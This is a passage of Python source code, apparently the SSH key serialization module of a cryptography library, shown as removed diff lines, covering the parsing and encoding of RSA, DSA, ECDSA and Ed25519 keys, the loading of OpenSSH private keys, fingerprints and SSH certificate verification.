_SK_END, re.DOTALL) - -# padding for max blocksize -_PADDING = memoryview(bytearray(range(1, 1 + 16))) - - -@dataclass -class _SSHCipher: - alg: type[algorithms.AES] - key_len: int - mode: type[modes.CTR] | type[modes.CBC] | type[modes.GCM] - block_len: int - iv_len: int - tag_len: int | None - is_aead: bool - - -# ciphers that are actually used in key wrapping -_SSH_CIPHERS: dict[bytes, _SSHCipher] = { - b"aes256-ctr": _SSHCipher( - alg=algorithms.AES, - key_len=32, - mode=modes.CTR, - block_len=16, - iv_len=16, - tag_len=None, - is_aead=False, - ), - b"aes256-cbc": _SSHCipher( - alg=algorithms.AES, - key_len=32, - mode=modes.CBC, - block_len=16, - iv_len=16, - tag_len=None, - is_aead=False, - ), - b"aes256-gcm@openssh.com": _SSHCipher( - alg=algorithms.AES, - key_len=32, - mode=modes.GCM, - block_len=16, - iv_len=12, - tag_len=16, - is_aead=True, - ), -} - -# map local curve name to key type -_ECDSA_KEY_TYPE = { - "secp256r1": _ECDSA_NISTP256, - "secp384r1": _ECDSA_NISTP384, - "secp521r1": _ECDSA_NISTP521, -} - - -def _get_ssh_key_type(key: SSHPrivateKeyTypes | SSHPublicKeyTypes) -> bytes: - if isinstance(key, ec.EllipticCurvePrivateKey): - key_type = _ecdsa_key_type(key.public_key()) - elif isinstance(key, ec.EllipticCurvePublicKey): - key_type = _ecdsa_key_type(key) - elif isinstance(key, (rsa.RSAPrivateKey, rsa.RSAPublicKey)): - key_type = _SSH_RSA - elif isinstance(key, (dsa.DSAPrivateKey, dsa.DSAPublicKey)): - key_type = _SSH_DSA - elif isinstance( - key, (ed25519.Ed25519PrivateKey, ed25519.Ed25519PublicKey) - ): - key_type = _SSH_ED25519 - else: - raise ValueError("Unsupported key type") - - return key_type - - -def _ecdsa_key_type(public_key: ec.EllipticCurvePublicKey) -> bytes: - """Return SSH key_type and curve_name for private key.""" - curve = public_key.curve - if curve.name not in _ECDSA_KEY_TYPE: - raise ValueError( - f"Unsupported curve for ssh private key: {curve.name!r}" - ) - return _ECDSA_KEY_TYPE[curve.name] - - -def _check_block_size(data: utils.Buffer, block_len: int) -> None: - """Require data to be full blocks""" - if not data or len(data) % block_len != 0: - raise ValueError("Corrupt data: missing padding") - - -def _check_empty(data: utils.Buffer) -> None: - """All data should have been parsed.""" - if data: - raise ValueError("Corrupt data: unparsed data") - - -def _init_cipher( - ciphername: bytes, - password: bytes | None, - salt: bytes, - rounds: int, -) -> Cipher[modes.CBC | modes.CTR | modes.GCM]: - """Generate key + iv and return cipher.""" - if not password: - raise TypeError( - "Key is password-protected, but password was not provided." - ) - - ciph = _SSH_CIPHERS[ciphername] - seed = _bcrypt_kdf( - password, salt, ciph.key_len + ciph.iv_len, rounds, True - ) - return Cipher( - ciph.alg(seed[: ciph.key_len]), - ciph.mode(seed[ciph.key_len :]), - ) - - -def _get_u32(data: memoryview) -> tuple[int, memoryview]: - """Uint32""" - if len(data) < 4: - raise ValueError("Invalid data") - return int.from_bytes(data[:4], byteorder="big"), data[4:] - - -def _get_u64(data: memoryview) -> tuple[int, memoryview]: - """Uint64""" - if len(data) < 8: - raise ValueError("Invalid data") - return int.from_bytes(data[:8], byteorder="big"), data[8:] - - -def _get_sshstr(data: memoryview) -> tuple[memoryview, memoryview]: - """Bytes with u32 length prefix""" - n, data = _get_u32(data) - if n > len(data): - raise ValueError("Invalid data") - return data[:n], data[n:] - - -def _get_mpint(data: memoryview) -> tuple[int, memoryview]: - """Big integer.""" - val, data = _get_sshstr(data) - if val and val[0] > 0x7F: - raise ValueError("Invalid data") - return int.from_bytes(val, "big"), data - - -def _to_mpint(val: int) -> bytes: - """Storage format for signed bigint.""" - if val < 0: - raise ValueError("negative mpint not allowed") - if not val: - return b"" - nbytes = (val.bit_length() + 8) // 8 - return utils.int_to_bytes(val, nbytes) - - -class _FragList: - """Build recursive structure without data copy.""" - - flist: list[utils.Buffer] - - def __init__(self, init: list[utils.Buffer] | None = None) -> None: - self.flist = [] - if init: - self.flist.extend(init) - - def put_raw(self, val: utils.Buffer) -> None: - """Add plain bytes""" - self.flist.append(val) - - def put_u32(self, val: int) -> None: - """Big-endian uint32""" - self.flist.append(val.to_bytes(length=4, byteorder="big")) - - def put_u64(self, val: int) -> None: - """Big-endian uint64""" - self.flist.append(val.to_bytes(length=8, byteorder="big")) - - def put_sshstr(self, val: bytes | _FragList) -> None: - """Bytes prefixed with u32 length""" - if isinstance(val, (bytes, memoryview, bytearray)): - self.put_u32(len(val)) - self.flist.append(val) - else: - self.put_u32(val.size()) - self.flist.extend(val.flist) - - def put_mpint(self, val: int) -> None: - """Big-endian bigint prefixed with u32 length""" - self.put_sshstr(_to_mpint(val)) - - def size(self) -> int: - """Current number of bytes""" - return sum(map(len, self.flist)) - - def render(self, dstbuf: memoryview, pos: int = 0) -> int: - """Write into bytearray""" - for frag in self.flist: - flen = len(frag) - start, pos = pos, pos + flen - dstbuf[start:pos] = frag - return pos - - def tobytes(self) -> bytes: - """Return as bytes""" - buf = memoryview(bytearray(self.size())) - self.render(buf) - return buf.tobytes() - - -class _SSHFormatRSA: - """Format for RSA keys. - - Public: - mpint e, n - Private: - mpint n, e, d, iqmp, p, q - """ - - def get_public( - self, data: memoryview - ) -> tuple[tuple[int, int], memoryview]: - """RSA public fields""" - e, data = _get_mpint(data) - n, data = _get_mpint(data) - return (e, n), data - - def load_public( - self, data: memoryview - ) -> tuple[rsa.RSAPublicKey, memoryview]: - """Make RSA public key from data.""" - (e, n), data = self.get_public(data) - public_numbers = rsa.RSAPublicNumbers(e, n) - public_key = public_numbers.public_key() - return public_key, data - - def load_private( - self, data: memoryview, pubfields, unsafe_skip_rsa_key_validation: bool - ) -> tuple[rsa.RSAPrivateKey, memoryview]: - """Make RSA private key from data.""" - n, data = _get_mpint(data) - e, data = _get_mpint(data) - d, data = _get_mpint(data) - iqmp, data = _get_mpint(data) - p, data = _get_mpint(data) - q, data = _get_mpint(data) - - if (e, n) != pubfields: - raise ValueError("Corrupt data: rsa field mismatch") - dmp1 = rsa.rsa_crt_dmp1(d, p) - dmq1 = rsa.rsa_crt_dmq1(d, q) - public_numbers = rsa.RSAPublicNumbers(e, n) - private_numbers = rsa.RSAPrivateNumbers( - p, q, d, dmp1, dmq1, iqmp, public_numbers - ) - private_key = private_numbers.private_key( - unsafe_skip_rsa_key_validation=unsafe_skip_rsa_key_validation - ) - return private_key, data - - def encode_public( - self, public_key: rsa.RSAPublicKey, f_pub: _FragList - ) -> None: - """Write RSA public key""" - pubn = public_key.public_numbers() - f_pub.put_mpint(pubn.e) - f_pub.put_mpint(pubn.n) - - def encode_private( - self, private_key: rsa.RSAPrivateKey, f_priv: _FragList - ) -> None: - """Write RSA private key""" - private_numbers = private_key.private_numbers() - public_numbers = private_numbers.public_numbers - - f_priv.put_mpint(public_numbers.n) - f_priv.put_mpint(public_numbers.e) - - f_priv.put_mpint(private_numbers.d) - f_priv.put_mpint(private_numbers.iqmp) - f_priv.put_mpint(private_numbers.p) - f_priv.put_mpint(private_numbers.q) - - -class _SSHFormatDSA: - """Format for DSA keys. - - Public: - mpint p, q, g, y - Private: - mpint p, q, g, y, x - """ - - def get_public(self, data: memoryview) -> tuple[tuple, memoryview]: - """DSA public fields""" - p, data = _get_mpint(data) - q, data = _get_mpint(data) - g, data = _get_mpint(data) - y, data = _get_mpint(data) - return (p, q, g, y), data - - def load_public( - self, data: memoryview - ) -> tuple[dsa.DSAPublicKey, memoryview]: - """Make DSA public key from data.""" - (p, q, g, y), data = self.get_public(data) - parameter_numbers = dsa.DSAParameterNumbers(p, q, g) - public_numbers = dsa.DSAPublicNumbers(y, parameter_numbers) - self._validate(public_numbers) - public_key = public_numbers.public_key() - return public_key, data - - def load_private( - self, data: memoryview, pubfields, unsafe_skip_rsa_key_validation: bool - ) -> tuple[dsa.DSAPrivateKey, memoryview]: - """Make DSA private key from data.""" - (p, q, g, y), data = self.get_public(data) - x, data = _get_mpint(data) - - if (p, q, g, y) != pubfields: - raise ValueError("Corrupt data: dsa field mismatch") - parameter_numbers = dsa.DSAParameterNumbers(p, q, g) - public_numbers = dsa.DSAPublicNumbers(y, parameter_numbers) - self._validate(public_numbers) - private_numbers = dsa.DSAPrivateNumbers(x, public_numbers) - private_key = private_numbers.private_key() - return private_key, data - - def encode_public( - self, public_key: dsa.DSAPublicKey, f_pub: _FragList - ) -> None: - """Write DSA public key""" - public_numbers = public_key.public_numbers() - parameter_numbers = public_numbers.parameter_numbers - self._validate(public_numbers) - - f_pub.put_mpint(parameter_numbers.p) - f_pub.put_mpint(parameter_numbers.q) - f_pub.put_mpint(parameter_numbers.g) - f_pub.put_mpint(public_numbers.y) - - def encode_private( - self, private_key: dsa.DSAPrivateKey, f_priv: _FragList - ) -> None: - """Write DSA private key""" - self.encode_public(private_key.public_key(), f_priv) - f_priv.put_mpint(private_key.private_numbers().x) - - def _validate(self, public_numbers: dsa.DSAPublicNumbers) -> None: - parameter_numbers = public_numbers.parameter_numbers - if parameter_numbers.p.bit_length() != 1024: - raise ValueError("SSH supports only 1024 bit DSA keys") - - -class _SSHFormatECDSA: - """Format for ECDSA keys. - - Public: - str curve - bytes point - Private: - str curve - bytes point - mpint secret - """ - - def __init__(self, ssh_curve_name: bytes, curve: ec.EllipticCurve): - self.ssh_curve_name = ssh_curve_name - self.curve = curve - - def get_public( - self, data: memoryview - ) -> tuple[tuple[memoryview, memoryview], memoryview]: - """ECDSA public fields""" - curve, data = _get_sshstr(data) - point, data = _get_sshstr(data) - if curve != self.ssh_curve_name: - raise ValueError("Curve name mismatch") - if len(point) == 0: - raise ValueError("Invalid EC point: empty data") - if point[0] != 4: - raise NotImplementedError("Need uncompressed point") - return (curve, point), data - - def load_public( - self, data: memoryview - ) -> tuple[ec.EllipticCurvePublicKey, memoryview]: - """Make ECDSA public key from data.""" - (_, point), data = self.get_public(data) - public_key = ec.EllipticCurvePublicKey.from_encoded_point( - self.curve, point.tobytes() - ) - return public_key, data - - def load_private( - self, data: memoryview, pubfields, unsafe_skip_rsa_key_validation: bool - ) -> tuple[ec.EllipticCurvePrivateKey, memoryview]: - """Make ECDSA private key from data.""" - (curve_name, point), data = self.get_public(data) - secret, data = _get_mpint(data) - - if (curve_name, point) != pubfields: - raise ValueError("Corrupt data: ecdsa field mismatch") - private_key = ec.derive_private_key(secret, self.curve) - return private_key, data - - def encode_public( - self, public_key: ec.EllipticCurvePublicKey, f_pub: _FragList - ) -> None: - """Write ECDSA public key""" - point = public_key.public_bytes( - Encoding.X962, PublicFormat.UncompressedPoint - ) - f_pub.put_sshstr(self.ssh_curve_name) - f_pub.put_sshstr(point) - - def encode_private( - self, private_key: ec.EllipticCurvePrivateKey, f_priv: _FragList - ) -> None: - """Write ECDSA private key""" - public_key = private_key.public_key() - private_numbers = private_key.private_numbers() - - self.encode_public(public_key, f_priv) - f_priv.put_mpint(private_numbers.private_value) - - -class _SSHFormatEd25519: - """Format for Ed25519 keys. - - Public: - bytes point - Private: - bytes point - bytes secret_and_point - """ - - def get_public( - self, data: memoryview - ) -> tuple[tuple[memoryview], memoryview]: - """Ed25519 public fields""" - point, data = _get_sshstr(data) - return (point,), data - - def load_public( - self, data: memoryview - ) -> tuple[ed25519.Ed25519PublicKey, memoryview]: - """Make Ed25519 public key from data.""" - (point,), data = self.get_public(data) - public_key = ed25519.Ed25519PublicKey.from_public_bytes( - point.tobytes() - ) - return public_key, data - - def load_private( - self, data: memoryview, pubfields, unsafe_skip_rsa_key_validation: bool - ) -> tuple[ed25519.Ed25519PrivateKey, memoryview]: - """Make Ed25519 private key from data.""" - (point,), data = self.get_public(data) - keypair, data = _get_sshstr(data) - - secret = keypair[:32] - point2 = keypair[32:] - if point != point2 or (point,) != pubfields: - raise ValueError("Corrupt data: ed25519 field mismatch") - private_key = ed25519.Ed25519PrivateKey.from_private_bytes(secret) - return private_key, data - - def encode_public( - self, public_key: ed25519.Ed25519PublicKey, f_pub: _FragList - ) -> None: - """Write Ed25519 public key""" - raw_public_key = public_key.public_bytes( - Encoding.Raw, PublicFormat.Raw - ) - f_pub.put_sshstr(raw_public_key) - - def encode_private( - self, private_key: ed25519.Ed25519PrivateKey, f_priv: _FragList - ) -> None: - """Write Ed25519 private key""" - public_key = private_key.public_key() - raw_private_key = private_key.private_bytes( - Encoding.Raw, PrivateFormat.Raw, NoEncryption() - ) - raw_public_key = public_key.public_bytes( - Encoding.Raw, PublicFormat.Raw - ) - f_keypair = _FragList([raw_private_key, raw_public_key]) - - self.encode_public(public_key, f_priv) - f_priv.put_sshstr(f_keypair) - - -def load_application(data) -> tuple[memoryview, memoryview]: - """ - U2F application strings - """ - application, data = _get_sshstr(data) - if not application.tobytes().startswith(b"ssh:"): - raise ValueError( - "U2F application string does not start with b'ssh:' " - f"({application})" - ) - return application, data - - -class _SSHFormatSKEd25519: - """ - The format of a sk-ssh-ed25519@openssh.com public key is: - - string "sk-ssh-ed25519@openssh.com" - string public key - string application (user-specified, but typically "ssh:") - """ - - def load_public( - self, data: memoryview - ) -> tuple[ed25519.Ed25519PublicKey, memoryview]: - """Make Ed25519 public key from data.""" - public_key, data = _lookup_kformat(_SSH_ED25519).load_public(data) - _, data = load_application(data) - return public_key, data - - def get_public(self, data: memoryview) -> typing.NoReturn: - # Confusingly `get_public` is an entry point used by private key - # loading. - raise UnsupportedAlgorithm( - "sk-ssh-ed25519 private keys cannot be loaded" - ) - - -class _SSHFormatSKECDSA: - """ - The format of a sk-ecdsa-sha2-nistp256@openssh.com public key is: - - string "sk-ecdsa-sha2-nistp256@openssh.com" - string curve name - ec_point Q - string application (user-specified, but typically "ssh:") - """ - - def load_public( - self, data: memoryview - ) -> tuple[ec.EllipticCurvePublicKey, memoryview]: - """Make ECDSA public key from data.""" - public_key, data = _lookup_kformat(_ECDSA_NISTP256).load_public(data) - _, data = load_application(data) - return public_key, data - - def get_public(self, data: memoryview) -> typing.NoReturn: - # Confusingly `get_public` is an entry point used by private key - # loading. - raise UnsupportedAlgorithm( - "sk-ecdsa-sha2-nistp256 private keys cannot be loaded" - ) - - -_KEY_FORMATS = { - _SSH_RSA: _SSHFormatRSA(), - _SSH_DSA: _SSHFormatDSA(), - _SSH_ED25519: _SSHFormatEd25519(), - _ECDSA_NISTP256: _SSHFormatECDSA(b"nistp256", ec.SECP256R1()), - _ECDSA_NISTP384: _SSHFormatECDSA(b"nistp384", ec.SECP384R1()), - _ECDSA_NISTP521: _SSHFormatECDSA(b"nistp521", ec.SECP521R1()), - _SK_SSH_ED25519: _SSHFormatSKEd25519(), - _SK_SSH_ECDSA_NISTP256: _SSHFormatSKECDSA(), -} - - -def _lookup_kformat(key_type: utils.Buffer): - """Return valid format or throw error""" - if not isinstance(key_type, bytes): - key_type = memoryview(key_type).tobytes() - if key_type in _KEY_FORMATS: - return _KEY_FORMATS[key_type] - raise UnsupportedAlgorithm(f"Unsupported key type: {key_type!r}") - - -SSHPrivateKeyTypes = typing.Union[ - ec.EllipticCurvePrivateKey, - rsa.RSAPrivateKey, - dsa.DSAPrivateKey, - ed25519.Ed25519PrivateKey, -] - - -def load_ssh_private_key( - data: utils.Buffer, - password: bytes | None, - backend: typing.Any = None, - *, - unsafe_skip_rsa_key_validation: bool = False, -) -> SSHPrivateKeyTypes: - """Load private key from OpenSSH custom encoding.""" - utils._check_byteslike("data", data) - if password is not None: - utils._check_bytes("password", password) - - m = _PEM_RC.search(data) - if not m: - raise ValueError("Not OpenSSH private key format") - p1 = m.start(1) - p2 = m.end(1) - data = binascii.a2b_base64(memoryview(data)[p1:p2]) - if not data.startswith(_SK_MAGIC): - raise ValueError("Not OpenSSH private key format") - data = memoryview(data)[len(_SK_MAGIC) :] - - # parse header - ciphername, data = _get_sshstr(data) - kdfname, data = _get_sshstr(data) - kdfoptions, data = _get_sshstr(data) - nkeys, data = _get_u32(data) - if nkeys != 1: - raise ValueError("Only one key supported") - - # load public key data - pubdata, data = _get_sshstr(data) - pub_key_type, pubdata = _get_sshstr(pubdata) - kformat = _lookup_kformat(pub_key_type) - pubfields, pubdata = kformat.get_public(pubdata) - _check_empty(pubdata) - - if ciphername != _NONE or kdfname != _NONE: - ciphername_bytes = ciphername.tobytes() - if ciphername_bytes not in _SSH_CIPHERS: - raise UnsupportedAlgorithm( - f"Unsupported cipher: {ciphername_bytes!r}" - ) - if kdfname != _BCRYPT: - raise UnsupportedAlgorithm(f"Unsupported KDF: {kdfname!r}") - blklen = _SSH_CIPHERS[ciphername_bytes].block_len - tag_len = _SSH_CIPHERS[ciphername_bytes].tag_len - # load secret data - edata, data = _get_sshstr(data) - # see https://bugzilla.mindrot.org/show_bug.cgi?id=3553 for - # information about how OpenSSH handles AEAD tags - if _SSH_CIPHERS[ciphername_bytes].is_aead: - tag = bytes(data) - if len(tag) != tag_len: - raise ValueError("Corrupt data: invalid tag length for cipher") - else: - _check_empty(data) - _check_block_size(edata, blklen) - salt, kbuf = _get_sshstr(kdfoptions) - rounds, kbuf = _get_u32(kbuf) - _check_empty(kbuf) - ciph = _init_cipher(ciphername_bytes, password, salt.tobytes(), rounds) - dec = ciph.decryptor() - edata = memoryview(dec.update(edata)) - if _SSH_CIPHERS[ciphername_bytes].is_aead: - assert isinstance(dec, AEADDecryptionContext) - _check_empty(dec.finalize_with_tag(tag)) - else: - # _check_block_size requires data to be a full block so there - # should be no output from finalize - _check_empty(dec.finalize()) - else: - if password: - raise TypeError( - "Password was given but private key is not encrypted." - ) - # load secret data - edata, data = _get_sshstr(data) - _check_empty(data) - blklen = 8 - _check_block_size(edata, blklen) - ck1, edata = _get_u32(edata) - ck2, edata = _get_u32(edata) - if ck1 != ck2: - raise ValueError("Corrupt data: broken checksum") - - # load per-key struct - key_type, edata = _get_sshstr(edata) - if key_type != pub_key_type: - raise ValueError("Corrupt data: key type mismatch") - private_key, edata = kformat.load_private( - edata, - pubfields, - unsafe_skip_rsa_key_validation=unsafe_skip_rsa_key_validation, - ) - # We don't use the comment - _, edata = _get_sshstr(edata) - - # yes, SSH does padding check *after* all other parsing is done. - # need to follow as it writes zero-byte padding too. - if edata != _PADDING[: len(edata)]: - raise ValueError("Corrupt data: invalid padding") - - if isinstance(private_key, dsa.DSAPrivateKey): - warnings.warn( - "SSH DSA keys are deprecated and will be removed in a future " - "release.", - utils.DeprecatedIn40, - stacklevel=2, - ) - - return private_key - - -def _serialize_ssh_private_key( - private_key: SSHPrivateKeyTypes, - password: bytes, - encryption_algorithm: KeySerializationEncryption, -) -> bytes: - """Serialize private key with OpenSSH custom encoding.""" - utils._check_bytes("password", password) - if isinstance(private_key, dsa.DSAPrivateKey): - warnings.warn( - "SSH DSA key support is deprecated and will be " - "removed in a future release", - utils.DeprecatedIn40, - stacklevel=4, - ) - - key_type = _get_ssh_key_type(private_key) - kformat = _lookup_kformat(key_type) - - # setup parameters - f_kdfoptions = _FragList() - if password: - ciphername = _DEFAULT_CIPHER - blklen = _SSH_CIPHERS[ciphername].block_len - kdfname = _BCRYPT - rounds = _DEFAULT_ROUNDS - if ( - isinstance(encryption_algorithm, _KeySerializationEncryption) - and encryption_algorithm._kdf_rounds is not None - ): - rounds = encryption_algorithm._kdf_rounds - salt = os.urandom(16) - f_kdfoptions.put_sshstr(salt) - f_kdfoptions.put_u32(rounds) - ciph = _init_cipher(ciphername, password, salt, rounds) - else: - ciphername = kdfname = _NONE - blklen = 8 - ciph = None - nkeys = 1 - checkval = os.urandom(4) - comment = b"" - - # encode public and private parts together - f_public_key = _FragList() - f_public_key.put_sshstr(key_type) - kformat.encode_public(private_key.public_key(), f_public_key) - - f_secrets = _FragList([checkval, checkval]) - f_secrets.put_sshstr(key_type) - kformat.encode_private(private_key, f_secrets) - f_secrets.put_sshstr(comment) - f_secrets.put_raw(_PADDING[: blklen - (f_secrets.size() % blklen)]) - - # top-level structure - f_main = _FragList() - f_main.put_raw(_SK_MAGIC) - f_main.put_sshstr(ciphername) - f_main.put_sshstr(kdfname) - f_main.put_sshstr(f_kdfoptions) - f_main.put_u32(nkeys) - f_main.put_sshstr(f_public_key) - f_main.put_sshstr(f_secrets) - - # copy result info bytearray - slen = f_secrets.size() - mlen = f_main.size() - buf = memoryview(bytearray(mlen + blklen)) - f_main.render(buf) - ofs = mlen - slen - - # encrypt in-place - if ciph is not None: - ciph.encryptor().update_into(buf[ofs:mlen], buf[ofs:]) - - return bytes(buf[:mlen]) - - -SSHPublicKeyTypes = typing.Union[ - ec.EllipticCurvePublicKey, - rsa.RSAPublicKey, - dsa.DSAPublicKey, - ed25519.Ed25519PublicKey, -] - -SSHCertPublicKeyTypes = typing.Union[ - ec.EllipticCurvePublicKey, - rsa.RSAPublicKey, - ed25519.Ed25519PublicKey, -] - - -class SSHCertificateType(enum.Enum): - USER = 1 - HOST = 2 - - -class SSHCertificate: - def __init__( - self, - _nonce: memoryview, - _public_key: SSHPublicKeyTypes, - _serial: int, - _cctype: int, - _key_id: memoryview, - _valid_principals: list[bytes], - _valid_after: int, - _valid_before: int, - _critical_options: dict[bytes, bytes], - _extensions: dict[bytes, bytes], - _sig_type: memoryview, - _sig_key: memoryview, - _inner_sig_type: memoryview, - _signature: memoryview, - _tbs_cert_body: memoryview, - _cert_key_type: bytes, - _cert_body: memoryview, - ): - self._nonce = _nonce - self._public_key = _public_key - self._serial = _serial - try: - self._type = SSHCertificateType(_cctype) - except ValueError: - raise ValueError("Invalid certificate type") - self._key_id = _key_id - self._valid_principals = _valid_principals - self._valid_after = _valid_after - self._valid_before = _valid_before - self._critical_options = _critical_options - self._extensions = _extensions - self._sig_type = _sig_type - self._sig_key = _sig_key - self._inner_sig_type = _inner_sig_type - self._signature = _signature - self._cert_key_type = _cert_key_type - self._cert_body = _cert_body - self._tbs_cert_body = _tbs_cert_body - - @property - def nonce(self) -> bytes: - return bytes(self._nonce) - - def public_key(self) -> SSHCertPublicKeyTypes: - # make mypy happy until we remove DSA support entirely and - # the underlying union won't have a disallowed type - return typing.cast(SSHCertPublicKeyTypes, self._public_key) - - @property - def serial(self) -> int: - return self._serial - - @property - def type(self) -> SSHCertificateType: - return self._type - - @property - def key_id(self) -> bytes: - return bytes(self._key_id) - - @property - def valid_principals(self) -> list[bytes]: - return self._valid_principals - - @property - def valid_before(self) -> int: - return self._valid_before - - @property - def valid_after(self) -> int: - return self._valid_after - - @property - def critical_options(self) -> dict[bytes, bytes]: - return self._critical_options - - @property - def extensions(self) -> dict[bytes, bytes]: - return self._extensions - - def signature_key(self) -> SSHCertPublicKeyTypes: - sigformat = _lookup_kformat(self._sig_type) - signature_key, sigkey_rest = sigformat.load_public(self._sig_key) - _check_empty(sigkey_rest) - return signature_key - - def public_bytes(self) -> bytes: - return ( - bytes(self._cert_key_type) - + b" " - + binascii.b2a_base64(bytes(self._cert_body), newline=False) - ) - - def verify_cert_signature(self) -> None: - signature_key = self.signature_key() - if isinstance(signature_key, ed25519.Ed25519PublicKey): - signature_key.verify( - bytes(self._signature), bytes(self._tbs_cert_body) - ) - elif isinstance(signature_key, ec.EllipticCurvePublicKey): - # The signature is encoded as a pair of big-endian integers - r, data = _get_mpint(self._signature) - s, data = _get_mpint(data) - _check_empty(data) - computed_sig = asym_utils.encode_dss_signature(r, s) - hash_alg = _get_ec_hash_alg(signature_key.curve) - signature_key.verify( - computed_sig, bytes(self._tbs_cert_body), ec.ECDSA(hash_alg) - ) - else: - assert isinstance(signature_key, rsa.RSAPublicKey) - if self._inner_sig_type == _SSH_RSA: - hash_alg = hashes.SHA1() - elif self._inner_sig_type == _SSH_RSA_SHA256: - hash_alg = hashes.SHA256() - else: - assert self._inner_sig_type == _SSH_RSA_SHA512 - hash_alg = hashes.SHA512() - signature_key.verify( - bytes(self._signature), - bytes(self._tbs_cert_body), - padding.PKCS1v15(), - hash_alg, - ) - - -def _get_ec_hash_alg(curve: ec.EllipticCurve) -> hashes.HashAlgorithm: - if isinstance(curve, ec.SECP256R1): - return hashes.SHA256() - elif isinstance(curve, ec.SECP384R1): - return hashes.SHA384() - else: - assert isinstance(curve, ec.SECP521R1) - return hashes.SHA512() - - -def _load_ssh_public_identity( - data: utils.Buffer, - _legacy_dsa_allowed=False, -) -> SSHCertificate | SSHPublicKeyTypes: - utils._check_byteslike("data", data) - - m = _SSH_PUBKEY_RC.match(data) - if not m: - raise ValueError("Invalid line format") - key_type = orig_key_type = m.group(1) - key_body = m.group(2) - with_cert = False - if key_type.endswith(_CERT_SUFFIX): - with_cert = True - key_type = key_type[: -len(_CERT_SUFFIX)] - if key_type == _SSH_DSA and not _legacy_dsa_allowed: - raise UnsupportedAlgorithm( - "DSA keys aren't supported in SSH certificates" - ) - kformat = _lookup_kformat(key_type) - - try: - rest = memoryview(binascii.a2b_base64(key_body)) - except (TypeError, binascii.Error): - raise ValueError("Invalid format") - - if with_cert: - cert_body = rest - inner_key_type, rest = _get_sshstr(rest) - if inner_key_type != orig_key_type: - raise ValueError("Invalid key format") - if with_cert: - nonce, rest = _get_sshstr(rest) - public_key, rest = kformat.load_public(rest) - if with_cert: - serial, rest = _get_u64(rest) - cctype, rest = _get_u32(rest) - key_id, rest = _get_sshstr(rest) - principals, rest = _get_sshstr(rest) - valid_principals = [] - while principals: - principal, principals = _get_sshstr(principals) - valid_principals.append(bytes(principal)) - valid_after, rest = _get_u64(rest) - valid_before, rest = _get_u64(rest) - crit_options, rest = _get_sshstr(rest) - critical_options = _parse_exts_opts(crit_options) - exts, rest = _get_sshstr(rest) - extensions = _parse_exts_opts(exts) - # Get the reserved field, which is unused. - _, rest = _get_sshstr(rest) - sig_key_raw, rest = _get_sshstr(rest) - sig_type, sig_key = _get_sshstr(sig_key_raw) - if sig_type == _SSH_DSA and not _legacy_dsa_allowed: - raise UnsupportedAlgorithm( - "DSA signatures aren't supported in SSH certificates" - ) - # Get the entire cert body and subtract the signature - tbs_cert_body = cert_body[: -len(rest)] - signature_raw, rest = _get_sshstr(rest) - _check_empty(rest) - inner_sig_type, sig_rest = _get_sshstr(signature_raw) - # RSA certs can have multiple algorithm types - if ( - sig_type == _SSH_RSA - and inner_sig_type - not in [_SSH_RSA_SHA256, _SSH_RSA_SHA512, _SSH_RSA] - ) or (sig_type != _SSH_RSA and inner_sig_type != sig_type): - raise ValueError("Signature key type does not match") - signature, sig_rest = _get_sshstr(sig_rest) - _check_empty(sig_rest) - return SSHCertificate( - nonce, - public_key, - serial, - cctype, - key_id, - valid_principals, - valid_after, - valid_before, - critical_options, - extensions, - sig_type, - sig_key, - inner_sig_type, - signature, - tbs_cert_body, - orig_key_type, - cert_body, - ) - else: - _check_empty(rest) - return public_key - - -def load_ssh_public_identity( - data: utils.Buffer, -) -> SSHCertificate | SSHPublicKeyTypes: - return _load_ssh_public_identity(data) - - -def _parse_exts_opts(exts_opts: memoryview) -> dict[bytes, bytes]: - result: dict[bytes, bytes] = {} - last_name = None - while exts_opts: - name, exts_opts = _get_sshstr(exts_opts) - bname: bytes = bytes(name) - if bname in result: - raise ValueError("Duplicate name") - if last_name is not None and bname < last_name: - raise ValueError("Fields not lexically sorted") - value, exts_opts = _get_sshstr(exts_opts) - if len(value) > 0: - value, extra = _get_sshstr(value) - if len(extra) > 0: - raise ValueError("Unexpected extra data after value") - result[bname] = bytes(value) - last_name = bname - return result - - -def ssh_key_fingerprint( - key: SSHPublicKeyTypes, - hash_algorithm: hashes.MD5 | hashes.SHA1 | hashes.SHA256, -) -> bytes: - if not isinstance( - hash_algorithm, - (hashes.MD5, hashes.SHA1, hashes.SHA256), - ): - raise TypeError("hash_algorithm must be either MD5, SHA1, or SHA256") - - key_type = _get_ssh_key_type(key) - kformat = _lookup_kformat(key_type) - - f_pub = _FragList() - f_pub.put_sshstr(key_type) - kformat.encode_public(key, f_pub) - - ssh_binary_data = f_pub.tobytes() - - # Hash the binary data - hash_obj = hashes.Hash(hash_algorithm) - hash_obj.update(ssh_binary_data) - return hash_obj.finalize() - - -def load_ssh_public_key( - data: utils.Buffer, backend: typing.Any = None -) -> SSHPublicKeyTypes: - cert_or_key = _load_ssh_public_identity(data, _legacy_dsa_allowed=True) - public_key: SSHPublicKeyTypes - if isinstance(cert_or_key, SSHCertificate): - public_key = cert_or_key.public_key() - else: - public_key = cert_or_key - - if isinstance(public_key, dsa.DSAPublicKey): - warnings.warn( - "SSH DSA keys are deprecated and will be removed in a future " - "release.", - utils.DeprecatedIn40, - stacklevel=2, - ) - return public_key - - -def serialize_ssh_public_key(public_key: SSHPublicKeyTypes) -> bytes: - """One-line public key format for OpenSSH""" - if isinstance(public_key, dsa.DSAPublicKey): - warnings.warn( - "SSH DSA key support is deprecated and will be " - "removed in a future release", - utils.DeprecatedIn40, - stacklevel=4, - ) - key_type = _get_ssh_key_type(public_key) - kformat = _lookup_kformat(key_type) - - f_pub = _FragList() - f_pub.put_sshstr(key_type) - kformat.encode_public(public_key, f_pub) - - pub = binascii.b2a_base64(f_pub.tobytes()).strip() - return b"".join([key_type, b" ", pub]) - - -SSHCertPrivateKeyTypes = typing.Union[ - ec.EllipticCurvePrivateKey, - rsa.RSAPrivateKey, - ed25519.Ed25519PrivateKey, -] - - -# This is an undocumented limit enforced in the openssh codebase for sshd and -# ssh-keygen, but it is undefined in the ssh certificates spec. -_SSHKEY_CERT_MAX_PRINCIPALS = 256 - - -class SSHCertificateBuilder: - def __init__( - self, - _public_key: SSHCertPublicKeyTypes | None = None, - _serial: int | None = None, - _type: SSHCertificateType | None = None, - _key_id: bytes | None = None, - _valid_principals: list[bytes] = [], - _valid_for_all_principals: bool = False, - _valid_before: int | None = None, - _valid_after: int | None = None, - _critical_options: list[tuple[bytes, bytes]] = [], - _extensions: list[tuple[bytes, bytes]] = [], - ): - self._public_key = _public_key - self._serial = _serial - self._type = _type - self._key_id = 